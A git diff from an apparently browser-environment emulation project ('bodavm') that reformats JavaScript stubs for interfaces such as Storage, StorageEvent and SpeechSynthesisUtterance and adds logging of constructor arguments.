get: function voice() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "voice_get", arguments); + }, + set: function voice() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "voice_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "volume", { + configurable: true, + enumerable: true, + get: function volume() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "volume_get", arguments); + }, + set: function volume() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "volume_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "rate", { + configurable: true, + enumerable: true, + get: function rate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "rate_get", arguments); + }, + set: function rate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "rate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "pitch", { + configurable: true, + enumerable: true, + get: function pitch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "pitch_get", arguments); + }, + set: function pitch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "pitch_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "onstart", { + configurable: true, + enumerable: true, + get: function onstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onstart_get", arguments); + }, + set: function onstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "onend", { + configurable: true, + enumerable: true, + get: function onend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onend_get", arguments); + }, + set: function onend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "onpause", { + configurable: true, + enumerable: true, + get: function onpause() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onpause_get", arguments); + }, + set: function onpause() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onpause_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "onresume", { + configurable: true, + enumerable: true, + get: function onresume() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onresume_get", arguments); + }, + set: function onresume() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onresume_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "onmark", { + configurable: true, + enumerable: true, + get: function onmark() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onmark_get", arguments); + }, + set: function onmark() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onmark_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SpeechSynthesisUtterance', "onboundary", { + configurable: true, + enumerable: true, + get: function onboundary() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onboundary_get", arguments); + }, + set: function onboundary() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SpeechSynthesisUtterance'].prototype, "SpeechSynthesisUtterance", "onboundary_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/StaticRange.js b/env_xbb_lastest_jsdom/env/StaticRange.js index f4711a71..2b92c7de 100644 --- a/env_xbb_lastest_jsdom/env/StaticRange.js +++ b/env_xbb_lastest_jsdom/env/StaticRange.js @@ -1,5 +1,19 @@ -// StaticRange对象 -bodavm.memory.globalobj['StaticRange'] = function StaticRange(){if (!(this instanceof StaticRange)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'StaticRange': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['StaticRange'], "StaticRange"); -bodavm.memory.globalobj['StaticRange'].prototype.__proto__=bodavm.memory.globalobj['AbstractRange'].prototype; -bodavm.memory.globalobj['StaticRange'].__proto__=bodavm.memory.globalobj['AbstractRange']; +// StaticRange对象 + +bodavm.memory.globalobj['StaticRange'] = function StaticRange() { + console.log_copy('StaticRange 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof StaticRange)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'StaticRange': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['StaticRange'], "StaticRange"); +bodavm.memory.globalobj['StaticRange'].prototype.__proto__ = bodavm.memory.globalobj['AbstractRange'].prototype; +bodavm.memory.globalobj['StaticRange'].__proto__ = bodavm.memory.globalobj['AbstractRange']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/StereoPannerNode.js b/env_xbb_lastest_jsdom/env/StereoPannerNode.js index 83480403..ea34b56c 100644 --- a/env_xbb_lastest_jsdom/env/StereoPannerNode.js +++ b/env_xbb_lastest_jsdom/env/StereoPannerNode.js @@ -1,6 +1,27 @@ -// StereoPannerNode对象 -bodavm.memory.globalobj['StereoPannerNode'] = function StereoPannerNode(){if (!(this instanceof StereoPannerNode)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'StereoPannerNode': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['StereoPannerNode'], "StereoPannerNode"); -bodavm.memory.globalobj['StereoPannerNode'].prototype.__proto__=bodavm.memory.globalobj['AudioNode'].prototype; -bodavm.memory.globalobj['StereoPannerNode'].__proto__=bodavm.memory.globalobj['AudioNode']; -bodavm.toolsFunc.defineProperty('StereoPannerNode', "pan", {configurable:true, enumerable:true, get:function pan (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StereoPannerNode'].prototype, "StereoPannerNode", "pan_get", arguments)}, set:undefined},'prototype'); +// StereoPannerNode对象 + +bodavm.memory.globalobj['StereoPannerNode'] = function StereoPannerNode() { + console.log_copy('StereoPannerNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof StereoPannerNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'StereoPannerNode': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['StereoPannerNode'], "StereoPannerNode"); +bodavm.memory.globalobj['StereoPannerNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioNode'].prototype; +bodavm.memory.globalobj['StereoPannerNode'].__proto__ = bodavm.memory.globalobj['AudioNode']; +bodavm.toolsFunc.defineProperty('StereoPannerNode', "pan", { + configurable: true, + enumerable: true, + get: function pan() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StereoPannerNode'].prototype, "StereoPannerNode", "pan_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Storage.js b/env_xbb_lastest_jsdom/env/Storage.js index 97b60061..a50fb8b5 100644 --- a/env_xbb_lastest_jsdom/env/Storage.js +++ b/env_xbb_lastest_jsdom/env/Storage.js @@ -1,9 +1,65 @@ -// Storage对象 -bodavm.memory.globalobj['Storage'] = function Storage(){if (!(this instanceof Storage)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Storage'], "Storage"); -bodavm.toolsFunc.defineProperty('Storage', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Storage'].prototype, "Storage", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Storage', "clear", {configurable:true, enumerable:true, writable:true, value:function clear (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Storage'].prototype, "Storage", "clear", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Storage', "getItem", {configurable:true, enumerable:true, writable:true, value:function getItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Storage'].prototype, "Storage", "getItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Storage', "key", {configurable:true, enumerable:true, writable:true, value:function key (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Storage'].prototype, "Storage", "key", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Storage', "removeItem", {configurable:true, enumerable:true, writable:true, value:function removeItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Storage'].prototype, "Storage", "removeItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Storage', "setItem", {configurable:true, enumerable:true, writable:true, value:function setItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Storage'].prototype, "Storage", "setItem", arguments)}},'prototype'); +// Storage对象 + +bodavm.memory.globalobj['Storage'] = function Storage() { + console.log_copy('Storage 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Storage)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Storage'], "Storage"); +bodavm.toolsFunc.defineProperty('Storage', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Storage'].prototype, "Storage", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Storage', "clear", { + configurable: true, + enumerable: true, + writable: true, + value: function clear() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Storage'].prototype, "Storage", "clear", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Storage', "getItem", { + configurable: true, + enumerable: true, + writable: true, + value: function getItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Storage'].prototype, "Storage", "getItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Storage', "key", { + configurable: true, + enumerable: true, + writable: true, + value: function key() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Storage'].prototype, "Storage", "key", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Storage', "removeItem", { + configurable: true, + enumerable: true, + writable: true, + value: function removeItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Storage'].prototype, "Storage", "removeItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Storage', "setItem", { + configurable: true, + enumerable: true, + writable: true, + value: function setItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Storage'].prototype, "Storage", "setItem", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/StorageEvent.js b/env_xbb_lastest_jsdom/env/StorageEvent.js index 1045ca35..510252d2 100644 --- a/env_xbb_lastest_jsdom/env/StorageEvent.js +++ b/env_xbb_lastest_jsdom/env/StorageEvent.js @@ -1,11 +1,67 @@ -// StorageEvent对象 -bodavm.memory.globalobj['StorageEvent'] = function StorageEvent(){if (!(this instanceof StorageEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'StorageEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['StorageEvent'], "StorageEvent"); -bodavm.memory.globalobj['StorageEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['StorageEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('StorageEvent', "key", {configurable:true, enumerable:true, get:function key (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageEvent'].prototype, "StorageEvent", "key_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('StorageEvent', "oldValue", {configurable:true, enumerable:true, get:function oldValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageEvent'].prototype, "StorageEvent", "oldValue_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('StorageEvent', "newValue", {configurable:true, enumerable:true, get:function newValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageEvent'].prototype, "StorageEvent", "newValue_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('StorageEvent', "url", {configurable:true, enumerable:true, get:function url (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageEvent'].prototype, "StorageEvent", "url_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('StorageEvent', "storageArea", {configurable:true, enumerable:true, get:function storageArea (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageEvent'].prototype, "StorageEvent", "storageArea_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('StorageEvent', "initStorageEvent", {configurable:true, enumerable:true, writable:true, value:function initStorageEvent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageEvent'].prototype, "StorageEvent", "initStorageEvent", arguments)}},'prototype'); +// StorageEvent对象 + +bodavm.memory.globalobj['StorageEvent'] = function StorageEvent() { + console.log_copy('StorageEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof StorageEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'StorageEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['StorageEvent'], "StorageEvent"); +bodavm.memory.globalobj['StorageEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['StorageEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('StorageEvent', "key", { + configurable: true, + enumerable: true, + get: function key() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageEvent'].prototype, "StorageEvent", "key_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StorageEvent', "oldValue", { + configurable: true, + enumerable: true, + get: function oldValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageEvent'].prototype, "StorageEvent", "oldValue_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StorageEvent', "newValue", { + configurable: true, + enumerable: true, + get: function newValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageEvent'].prototype, "StorageEvent", "newValue_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StorageEvent', "url", { + configurable: true, + enumerable: true, + get: function url() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageEvent'].prototype, "StorageEvent", "url_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StorageEvent', "storageArea", { + configurable: true, + enumerable: true, + get: function storageArea() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageEvent'].prototype, "StorageEvent", "storageArea_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StorageEvent', "initStorageEvent", { + configurable: true, + enumerable: true, + writable: true, + value: function initStorageEvent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageEvent'].prototype, "StorageEvent", "initStorageEvent", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/StorageManager.js b/env_xbb_lastest_jsdom/env/StorageManager.js index f697fa82..bfe29dcd 100644 --- a/env_xbb_lastest_jsdom/env/StorageManager.js +++ b/env_xbb_lastest_jsdom/env/StorageManager.js @@ -1,9 +1,51 @@ -// StorageManager对象 -bodavm.memory.globalobj['StorageManager'] = function StorageManager(){if (!(this instanceof StorageManager)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['StorageManager'], "StorageManager"); -bodavm.memory.globalobj['StorageManager'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['StorageManager'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('StorageManager', "estimate", {configurable:true, enumerable:true, writable:true, value:function estimate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageManager'].prototype, "StorageManager", "estimate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('StorageManager', "persisted", {configurable:true, enumerable:true, writable:true, value:function persisted (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageManager'].prototype, "StorageManager", "persisted", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('StorageManager', "getDirectory", {configurable:true, enumerable:true, writable:true, value:function getDirectory (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageManager'].prototype, "StorageManager", "getDirectory", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('StorageManager', "persist", {configurable:true, enumerable:true, writable:true, value:function persist (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageManager'].prototype, "StorageManager", "persist", arguments)}},'prototype'); +// StorageManager对象 + +bodavm.memory.globalobj['StorageManager'] = function StorageManager() { + console.log_copy('StorageManager 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof StorageManager)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['StorageManager'], "StorageManager"); +bodavm.memory.globalobj['StorageManager'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['StorageManager'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('StorageManager', "estimate", { + configurable: true, + enumerable: true, + writable: true, + value: function estimate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageManager'].prototype, "StorageManager", "estimate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StorageManager', "persisted", { + configurable: true, + enumerable: true, + writable: true, + value: function persisted() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageManager'].prototype, "StorageManager", "persisted", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StorageManager', "getDirectory", { + configurable: true, + enumerable: true, + writable: true, + value: function getDirectory() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageManager'].prototype, "StorageManager", "getDirectory", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StorageManager', "persist", { + configurable: true, + enumerable: true, + writable: true, + value: function persist() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StorageManager'].prototype, "StorageManager", "persist", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/StyleMedia.js b/env_xbb_lastest_jsdom/env/StyleMedia.js index 36070f12..58b171ce 100644 --- a/env_xbb_lastest_jsdom/env/StyleMedia.js +++ b/env_xbb_lastest_jsdom/env/StyleMedia.js @@ -1,7 +1,25 @@ -bodavm.memory.globalobj['StyleMedia'] = function StyleMedia() { return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor") } -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['StyleMedia'] , "StyleMedia"); -bodavm.toolsFunc.defineProperty('StyleMedia', "matchMedium", { configurable: true, enumerable: true, get: function matchMedium() { return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleMedia'].prototype, "StyleMedia", "matchMedium", arguments) }, set: undefined },'prototype'); +bodavm.memory.globalobj['StyleMedia'] = function StyleMedia() { + console.log_copy('StyleMedia 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['StyleMedia'], "StyleMedia"); +bodavm.toolsFunc.defineProperty('StyleMedia', "matchMedium", { + configurable: true, + enumerable: true, + get: function matchMedium() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleMedia'].prototype, "StyleMedia", "matchMedium", arguments); + }, + set: undefined +}, 'prototype'); // styleMedia对象 -bodavm.memory.globalobj[ 'styleMedia']= {_boisinit:bodavm.config.isinit} -bodavm.memory.globalobj[ 'styleMedia'].__proto__=bodavm.memory.globalobj['StyleMedia'] .prototype; +bodavm.memory.globalobj['styleMedia'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['styleMedia'].__proto__ = bodavm.memory.globalobj['StyleMedia'].prototype; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/StylePropertyMap.js b/env_xbb_lastest_jsdom/env/StylePropertyMap.js index e186320f..80a2c174 100644 --- a/env_xbb_lastest_jsdom/env/StylePropertyMap.js +++ b/env_xbb_lastest_jsdom/env/StylePropertyMap.js @@ -1,18 +1,51 @@ // StylePropertyMap对象 -bodavm.memory.globalobj['StylePropertyMap'] = function StylePropertyMap(){if (!(this instanceof StylePropertyMap)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} - +bodavm.memory.globalobj['StylePropertyMap'] = function StylePropertyMap() { + console.log_copy('StylePropertyMap 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof StylePropertyMap)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['StylePropertyMap'], "StylePropertyMap"); - -bodavm.memory.globalobj['StylePropertyMap'].prototype.__proto__=bodavm.memory.globalobj['StylePropertyMapReadOnly'].prototype; - -bodavm.memory.globalobj['StylePropertyMap'].__proto__=bodavm.memory.globalobj['StylePropertyMapReadOnly']; - -bodavm.toolsFunc.defineProperty('StylePropertyMap', "append", {configurable:true, enumerable:true, writable:true, value:function append (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMap'].prototype, "StylePropertyMap", "append", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('StylePropertyMap', "clear", {configurable:true, enumerable:true, writable:true, value:function clear (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMap'].prototype, "StylePropertyMap", "clear", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('StylePropertyMap', "delete", {configurable:true, enumerable:true, writable:true, value:function (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMap'].prototype, "StylePropertyMap", "delete", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('StylePropertyMap', "set", {configurable:true, enumerable:true, writable:true, value:function set (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMap'].prototype, "StylePropertyMap", "set", arguments)}},'prototype'); - +bodavm.memory.globalobj['StylePropertyMap'].prototype.__proto__ = bodavm.memory.globalobj['StylePropertyMapReadOnly'].prototype; +bodavm.memory.globalobj['StylePropertyMap'].__proto__ = bodavm.memory.globalobj['StylePropertyMapReadOnly']; +bodavm.toolsFunc.defineProperty('StylePropertyMap', "append", { + configurable: true, + enumerable: true, + writable: true, + value: function append() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMap'].prototype, "StylePropertyMap", "append", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StylePropertyMap', "clear", { + configurable: true, + enumerable: true, + writable: true, + value: function clear() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMap'].prototype, "StylePropertyMap", "clear", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StylePropertyMap', "delete", { + configurable: true, + enumerable: true, + writable: true, + value: function () { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMap'].prototype, "StylePropertyMap", "delete", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('StylePropertyMap', "set", { + configurable: true, + enumerable: true, + writable: true, + value: function set() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMap'].prototype, "StylePropertyMap", "set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/StylePropertyMapReadOnly.js b/env_xbb_lastest_jsdom/env/StylePropertyMapReadOnly.js index 0ff0ef50..3ce450b7 100644 --- a/env_xbb_lastest_jsdom/env/StylePropertyMapReadOnly.js +++ b/env_xbb_lastest_jsdom/env/StylePropertyMapReadOnly.js @@ -1,11 +1,81 @@ -// StylePropertyMapReadOnly对象 -bodavm.memory.globalobj['StylePropertyMapReadOnly'] = function StylePropertyMapReadOnly(){if (!(this instanceof StylePropertyMapReadOnly)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['StylePropertyMapReadOnly'], "StylePropertyMapReadOnly"); -bodavm.toolsFunc.defineProperty('StylePropertyMapReadOnly', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMapReadOnly'].prototype, "StylePropertyMapReadOnly", "size_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('StylePropertyMapReadOnly', "get", {configurable:true, enumerable:true, writable:true, value:function get (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMapReadOnly'].prototype, "StylePropertyMapReadOnly", "get", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('StylePropertyMapReadOnly', "getAll", {configurable:true, enumerable:true, writable:true, value:function getAll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMapReadOnly'].prototype, "StylePropertyMapReadOnly", "getAll", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('StylePropertyMapReadOnly', "has", {configurable:true, enumerable:true, writable:true, value:function has (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMapReadOnly'].prototype, "StylePropertyMapReadOnly", "has", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('StylePropertyMapReadOnly', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMapReadOnly'].prototype, "StylePropertyMapReadOnly", "entries", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('StylePropertyMapReadOnly', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMapReadOnly'].prototype, "StylePropertyMapReadOnly", "forEach", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('StylePropertyMapReadOnly', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StylePropertyMapReadOnly'].prototype, "StylePropertyMapReadOnly", "keys", arguments)}},'prototype'); 